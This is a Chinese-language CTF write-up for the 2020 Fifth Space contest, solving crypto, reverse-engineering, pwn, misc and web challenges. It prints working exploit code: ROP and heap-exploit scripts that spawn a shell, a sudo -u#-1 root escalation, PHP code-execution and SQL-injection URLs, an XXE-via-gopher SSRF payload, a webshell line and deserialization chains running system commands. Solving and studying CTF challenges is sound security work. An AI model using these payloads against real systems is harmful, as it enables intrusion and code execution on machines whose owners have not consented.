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“第五空间”智能安全大赛部分WP
本文来自公众号:合天智汇   2020.06.28 11:11:51


第五空间6月24日比赛的部分WP.


目录



crypto

rosb

rsa共模攻击,网上找了个板子改了改

rom gmpy2 import *import libnum
n = 0xa1d4d377001f1b8d5b2740514ce699b49dc8a02f12df9a960e80e2a6ee13b7a97d9f508721e3dd7a6842c24ab25ab87d1132358de7c6c4cee3fb3ec9b7fd873626bd0251d16912de1f0f1a2bba52b082339113ad1a262121db31db9ee1bf9f26023182acce8f84612bfeb075803cf610f27b7b16147f7d29cc3fd463df7ea31ca860d59aae5506479c76206603de54044e7b778e21082c4c4da795d39dc2b9c0589e577a773133c89fa8e3a4bd047b8e7d6da0d9a0d8a3c1a3607ce983deb350e1c649725cccb0e9d756fc3107dd4352aa18c45a65bab7772a4c5aef7020a1e67e6085cc125d9fc042d96489a08d885f448ece8f7f254067dfff0c4e72a63557e1 = 0xf4c1158fc1 = 0x2f6546062ff19fe6a3155d76ef90410a3cbc07fef5dff8d3d5964174dfcaf9daa003967a29c516657044e87c1cbbf2dba2e158452ca8b7adba5e635915d2925ac4f76312feb3b0c85c3b8722c0e4aedeaec2f2037cc5f676f99b7260c3f83ffbaba86cda0f6a9cd4c70b37296e8f36c3ceaae15b5bf0b290119592ff03427b80055f08c394e5aa6c45bd634c80c59a9f70a92dc70eebec15d4a5e256bf78775e0d3d14f3a0103d9ad8ea6257a0384091f14da59e52581ba2e8ad3adb9747435e9283e8064de21ac41ab2c7b161a3c072b7841d4a594a8b348a923d4cc39f02e05ce95a69c7500c29f6bb415c11e4e0cdb410d0ec2644d6243db38e893c8a3707e2 = 0xf493f7d1c2 = 0xd32dfad68d790022758d155f2d8bf46bb762ae5cc17281f2f3a8794575ec684819690b22106c1cdaea06abaf7d0dbf841ebd152be51528338d1da8a78f666e0da85367ee8c1e6addbf590fc15f1b2182972dcbe4bbe8ad359b7d15febd5597f5a87fa4c6c51ac4021af60aeb726a3dc7689daed70144db57d1913a4dc29a2b2ec34c99c507d0856d6bf5d5d01ee514d47c7477a7fb8a6747337e7caf2d6537183c20e14c7b79380d9f7bcd7cda9e3bfb00c2b57822663c9a5a24927bceec316c8ffc59ab3bfc19f364033da038a4fb3ecef3b4cb299f4b600f76b8a518b25b576f745412fe53d229e77e68380397eee6ffbc36f6cc734815cd4065dc73dcbcb
s = gcdext(e1, e2)s1 = s[1]s2 = -s[2]
c2 = invert(c2, n)m = (pow(c1,s1,n) * pow(c2 , s2 , n)) % nprint(hex(m))s=hex(m)[2:]result=""for i in range(len(s)/2): result+=chr(int(s[2*i:2*i+2],16))print(result[:-64])# g0od_go0d_stu4y_d4yd4y_Up


re

nop

main函数里存在三个需要nop的反调试的函数(共五处),nop后的逻辑是:输入数字,然后通过eax一直加(大约是反调试jump的次数)+0xCCCCCCCC,最后的值用于在函数 sub_8048691 中patch eax eax+1 的值为0x90。因此正确的patch才能跳转到right处,由于中间eax+1有点多不想数b,所以大概算了个值(考虑一下32位溢出),然后前后遍历了一小段数字,得到flag为 99357990


rev

本意是一个rop导向的逆向题,但写trace太麻烦了,所以试了下angr的模板,正好可以用,注意一下输入参数为argv1

import angrimport sysimport claripy
def main(filepath): project = angr.Project(filepath) argv1 = claripy.BVS("argv1",100*8) init_state = project.factory.entry_state(args=[filepath,argv1]) sim = project.factory.simgr(init_state)
find = [0x400481] avoid = [0x400471] sim.explore(find=find,avoid=avoid) if sim.found: found=sim.found[0] solution = found.solver.eval(argv1, cast_to=bytes) print(solution) else: raise Exception('Could not find the solution')

if __name__=="__main__": if(len(sys.argv)!=2): print('usage:python angr_basic.py filepath') filepath = sys.argv[1] main(filepath) # ctf{ropchain_is_g00d}


pwn

twice

第一次溢出一个字节用于泄露 canary 和栈地址,第二次溢出 0x20 字节,其中除了填写 canary 外, rbp 位置存放字符串起始栈地址 -8 ,返回地址填 leave ret ,这样就可以多出 88 字节的ROP。ROP主体为 puts 泄露 libc 地址、 read bss (也可以继续往栈上)写入 system("/bin/sh\x00") 的另一段 ROP ,最后栈转移,正好 `88 字节。

from pwn import *from LibcSearcher import LibcSearcher
e = ELF("./pwn")libc = e.libc
if args.I: context.log_level = 'debug'if args.R: p = remote('121.36.59.116', 9999)else: p = process(e.path) #, env = {'LD_PRELOAD': LIBC})
p.sendafter(">", "A"*89)
p.recvuntil("A"*89)

canary = u64(p.recv(7).rjust(8, b'\0'))stack = u64(p.recv(6).ljust(8, b'\0'))print(hex(canary))print(hex(stack))
p.recvuntil(">")
pop_rdi_ret = 0x400923pop_rsi_r15_ret = 0x400921pop_rsp_13_14_15_ret = 0x40091dleave_ret = 0x400879bss = 0x601400
payload = p64(pop_rdi_ret)payload += p64(e.got['puts'])payload += p64(e.plt['puts'])payload += p64(pop_rsi_r15_ret)payload += p64(bss)payload += p64(0)payload += p64(pop_rdi_ret)payload += p64(0)payload += p64(e.plt['read'])payload += p64(pop_rsp_13_14_15_ret)payload += p64(bss)
print(len(payload))
p.send(payload+p64(canary)+p64(stack-0x18-88-8)+p64(leave_ret))
p.recvline()
puts_addr = u64(p.recv(6).ljust(8, b'\0'))
print(hex(puts_addr))
libcsearch = LibcSearcher('puts', puts_addr)libcbase = puts_addr - libcsearch.dump('puts')system_addr = libcbase + libcsearch.dump('system')binsh_addr = libcbase + libcsearch.dump('str_bin_sh')
p.send(p64(0)*3+p64(pop_rdi_ret)+p64(binsh_addr)+p64(system_addr))
# print(p.pid)p.interactive()

运行实例:



print(p.pid)

p.interactive()


pwnme

因为除了 off-one-null-byte 外更严重的是有任意长度堆溢出的操作,一开始想的是使用overlapping,但因为环境一直搭不起来拿不到 unsortedbin 的偏移,又看到没开 PIE 并且 GOT 表可写,所以最后换了 unlink 来做。 unlink 后泄露 free 地址再填入 system 地址一把梭。

from pwn import *from LibcSearcher import LibcSearcher
e = ELF("./a.out")libc = ELF("./lib/libuClibc-1.0.34.so")# libc = e.libc
if args.I: context.log_level = 'debug'if args.R: p = remote('121.36.58.215', 1337)else: p = process(e.path) #, env = {'LD_PRELOAD': LIBC})
def Show(): p.sendlineafter(">>> ", '1')
def Add(lenth, tag): p.sendlineafter(">>> ", '2') p.sendlineafter("Length:", str(lenth)) p.sendafter("Tag:", tag)
def Change(ind, lenth, tag): p.sendlineafter(">>> ", '3') p.sendlineafter("Index:", str(ind)) p.sendlineafter("Length:", str(lenth)) p.sendafter("Tag:", tag)
def Remove(ind): p.sendlineafter(">>> ", '4') p.sendlineafter("Tag:", str(ind))
chunk = 0x21068ptr = chunk+4+8Add(0x50, 'yuri') # 0Add(0x100, 'yuri') # 1 Add(0xf8, 'yuri') # 2Add(0x50, '/bin/sh\x00') # 3
Change(1, 0x100+4, b'\0'*8 + p32(ptr-3*4) + p32(ptr-2*4) + b'\0'*240 + p32(0x108-2*4))
Remove(2)
Change(1, 7, p32(0x50) + p32(e.got['free'])[:-1])
Show()
p.recvuntil(" : ")base = u32(p.recv(4)) - libc.symbols['free']
Change(0, 4, p32(base + libc.symbols['system']))
Remove(3)
# print(p.pid)p.interactive()


运行实例:



of

只给源码的 pwn ,先把 tcache 填满使得后续堆块释放到 fastbin ,然后利用 scanf 触发 malloc_consolidate 释放到 unsortedbin 泄露 libc 地址,最后便是常规改 __free_hook 的操作。这里比较奇怪的是泄露的 unsortedbin 的地址多了 0x100 ,第一次见这种操作。

from pwn import *from LibcSearcher import LibcSearcher
# e = ELF("./pwn")libc = ELF("./libc-2.27.so")
if args.I: context.log_level = 'debug'r = remote('121.36.74.70', 9999)

def allocate(ind): r.sendlineafter("Your choice: ", "1") r.sendlineafter("Index: ", str(ind))

def delete(ind): r.sendlineafter("Your choice: ", "4") r.sendlineafter("Index: ", str(ind))
def show(ind): r.sendlineafter("Your choice: ", "3") r.sendlineafter("Index: ", str(ind)) r.recvuntil("Content: ") return r.recv(0x100-8)
def edit(ind, content): r.sendlineafter("Your choice: ", "2") r.sendlineafter("Index: ", str(ind)) r.sendafter("Content: ", content)
for i in range(7): allocate(i)
allocate(7)allocate(8)
for i in range(7): delete(i)
delete(7)for i in range(7): allocate(i)allocate(9) # 7 == 9
for i in range(7): delete(i)
delete(7)
r.sendlineafter("Your choice: ", '7'*0x500)
base = u64(show(9)[:8]) - 96 - 0x10 - libc.symbols['__malloc_hook'] - 0x100
free_hook_addr = base + libc.symbols['__free_hook']system_addr = base + libc.symbols['system']
print(hex(base))
for i in range(7): allocate(i)
allocate(7)delete(7)
edit(9, p64(free_hook_addr-8))allocate(10)allocate(10)edit(10, b'/bin/sh\x00' + p64(system_addr))
delete(10)
r.interactive()




misc

签到

flag{ https://5space.360.cn }


麒麟系统

提权root权限,访问/root/flag,获取内容

user:kylin-user pwd:FifthSpace360

118.26.139.133:22 IP地址更换118.26.139.133:22

sudo配置不当可以以root权限执行

sudo -u#-1 cat /root/flag


loop

tar和zip循环解压,用下面的脚本跑五六次差不多能拿到flag的文件

import osfor i in range(100):    os.system('tar -xvf tarfile')    os.system('unzip -o zipfile')# flag{a4944cc1-0e50-44d3-9d85-6c52a3387330}

philosophy

一开始打算当作逆向来做,但使用 DIE 看时发现资源区段显示加壳,很可疑。

查看资源区段,果然有 FL4G 字样。

因此直接用 Resource Hacker 查看,发现非常明显的 PNG 结构特征。

提出来改一下 PNG 头前四个字节即可看到 FLAG


run

很大的 run.exe win10 桌面显示是个 word ,想起来 word 本来也是压缩包,解压了一下拿到一个 word 和一个小的 run.exe ,跑了一下发现出来一个 tif 文件 改了后缀以后用ps打开,黑色块可以移动,移开后得到

而tif文件的最后有run.exe加上的 run->njCp1HJBPLVTxcMhUHDPwE7mPW ,因此试了下有无 flag{}``,有无 run->`,最后正确的是

s="flag{njCp1HJBPLVTxcMhUHDPwE7mPW}"s=list(s)for i in range(len(s)):    if(i%2==0):        s[i]=chr(ord(s[i])+1)    else:        s[i]=chr(ord(s[i])-1)print("".join(s))# flag{njCp1HJBPLVTxcMhUHDPwE7mPW}

web

hate-php

没有过滤 ()~直接用取反,unicode字符用url编码

phpinfo验证

http://121.36.74.163/?code=(~%8F%97%8F%96%91%99%90)()



system('cat flag.php')
(system)('cat /flag.php')
php > $a = "system";php > echo urlencode(~$a);%8C%86%8C%8B%9A%92php > $a = "cat /flag.php";php > echo urlencode(~$a);%9C%9E%8B%DF%D0%99%93%9E%98%D1%8F%97%8F
(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)



<?php$flag = 'flag{ecee9b5f24f8aede87cdda995fed079c}';


do you know

index.php的限制条件可以随意填写,只要符合条件就可以了

if(!$a_key||!$b_key||!$a_value||!$b_value){        die('我什么都没有~');}if($a_key==$b_key){    die("trick");}
if($a_value!==$b_value){ if(count($_GET)!=1) { die('be it so'); }}


foreach循环中会遍历$_GET并把遍历最后的值赋给url,此处存在SSRF可以访问 xxe.php

xxe.php处存在XXE漏洞,但是需要绕过过滤,不过这个过滤只过滤一次,所以直接双写就可以了

$data = isset($_POST['data'])?trim($_POST['data']):'';$data = preg_replace("/file|flag|write|xxe|test|rot13|utf|print|quoted|read|string|ASCII|ISO|CP1256|cs_CZ|en_AU|dtd|mcrypt|zlib/i",'',$data);


问题在于xxe需要post访问,我们现在有SSRF所以使用gopher可以发出post包


XXE payload

<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY a SYSTEM "php://filter/convert.base64-encode/resource=./flflagag.php">]><user>&a;</user>  


用 gopher 发送


a1=b&a2=b&c=gopher://127.0.0.1:80/_%2550%254f%2553%2554%2520%252f%2578%2578%2565%252e%2570%2568%2570%2520%2548%2554%2554%2550%252f%2531%252e%2531%250d%250a%2548%256f%2573%2574%253a%2520%2531%2532%2537%252e%2530%252e%2530%252e%2531%250d%250a%2543%256f%256e%2574%2565%256e%2574%252d%254c%2565%256e%2567%2574%2568%253a%2520%2532%2531%2536%250d%250a%2543%256f%256e%2574%2565%256e%2574%252d%2554%2579%2570%2565%253a%2520%2561%2570%2570%256c%2569%2563%2561%2574%2569%256f%256e%252f%2578%252d%2577%2577%2577%252d%2566%256f%2572%256d%252d%2575%2572%256c%2565%256e%2563%256f%2564%2565%2564%250d%250a%250d%250a%2564%2561%2574%2561%253d%2525%2533%2543%2525%2532%2531%2544%254f%2543%2554%2559%2550%2545%252b%2566%256f%256f%252b%2525%2535%2542%2525%2530%2544%2525%2530%2541%2525%2533%2543%2525%2532%2531%2545%254c%2545%254d%2545%254e%2554%252b%2566%256f%256f%252b%2541%254e%2559%252b%2525%2533%2545%2525%2530%2544%2525%2530%2541%2525%2533%2543%2525%2532%2531%2545%254e%2554%2549%2554%2559%252b%2578%252b%2553%2559%2553%2554%2545%254d%252b%2525%2532%2532%2570%2568%2570%2525%2533%2541%2525%2532%2546%2525%2532%2546%2566%2569%256c%2574%2565%2572%2525%2532%2546%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2565%256e%2563%256f%2564%2565%2525%2532%2546%2572%2565%2573%256f%2575%2572%2563%2565%2525%2533%2544%252e%2525%2532%2546%2566%256c%2566%256c%2561%2567%2561%2567%252e%2570%2568%2570%2525%2532%2532%2525%2533%2545%2525%2535%2544%2525%2533%2545%2525%2530%2544%2525%2530%2541%2525%2533%2543%2575%2573%2565%2572%2525%2533%2545%2525%2532%2536%2578%2525%2533%2542%2525%2533%2543%2525%2532%2546%2575%2573%2565%2572%2525%2533%2545%252b%252b%252b%252b%252b%252b%252b%252b

得到flag ,base 解码一下

PD9waHAKJGZsYWc9J2ZsYWd7NWJjMGJjMjkxZDMyMjQ1MDY3OTg2NmQ1ZGRmMGEzNDZ9JzsK

<?php$flag='flag{5bc0bc291d322450679866d5ddf0a346}';


美团外卖

源码www.zip 审计发现,daochu.php存在sql语句,并且与login比起来,没有过滤

http://119.3.183.154/daochu.php?type=1&imei="union%20select%201,2,3,4,5,database()%23
database() == cms
http://119.3.183.154/daochu.php?type=1&imei="union%20select%201,2,3,4,5,group_concat(table_name)+from+information_schema.tables+where+table_schema=database()%23

<td>admin,content,hint,mac,sms</td>

http://119.3.183.154/daochu.php?type=1&imei="union%20select%201,2,3,4,5,(select+*+from+hint)%23
see_the_dir_956c110ef9decdd920249f5fed9e4427


发现给了路径,但是暂时还不知道什么用

继续审计

发现有ueditor和webuploader,需要结合hint中的路径访问

在webuploader里有preview.php可以上传图片

payload


// system($_GET[x])



!!!! Congratulations on infiltrating here, but it's a pity that someone has infiltrated and left a Trojan, do not continue here , please see the e98a4571cf72b798077d12d6c94629.php !!!!! 


这里??? 啥意思 get file。。。 我的shell呢?

。。。。。 天才出题人

flag{g879aee87y8501c1deab01c7b54f2fa9}

laravel(unsolved)

寻找POP链

namespace Symfony\Component\Routing\Loader\Configurator{    class ImportConfigurator{        protected $parent;        protected $route;        public function __construct($parent,$route){              $this->parent=$parent;              $this->route=$route;        }    }}namespace Faker {    class Generator {        protected $formatters = array();
public function __construct($formatters){ $this->formatters = $formatters; } }}

namespace{ $generator = new Faker\Generator(array("addCollection"=>"system")); $exp = new \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator($generator,"cat /flag"); echo urlencode(serialize($exp));}



flag{90569859b0164266ef04461bbc1d5cc5}


zzm blog(unsolved)

CVE-2019-12086 配合 JDBC autoDeserialize 绕过黑名单

https://www.cnblogs.com/xinzhao/p/11005419.htmlhttps://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf

{"id":["com.mysql.cj.jdbc.admin.MiniAdmin", "jdbc:mysql://ip:port/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections7_ping test.com"]}



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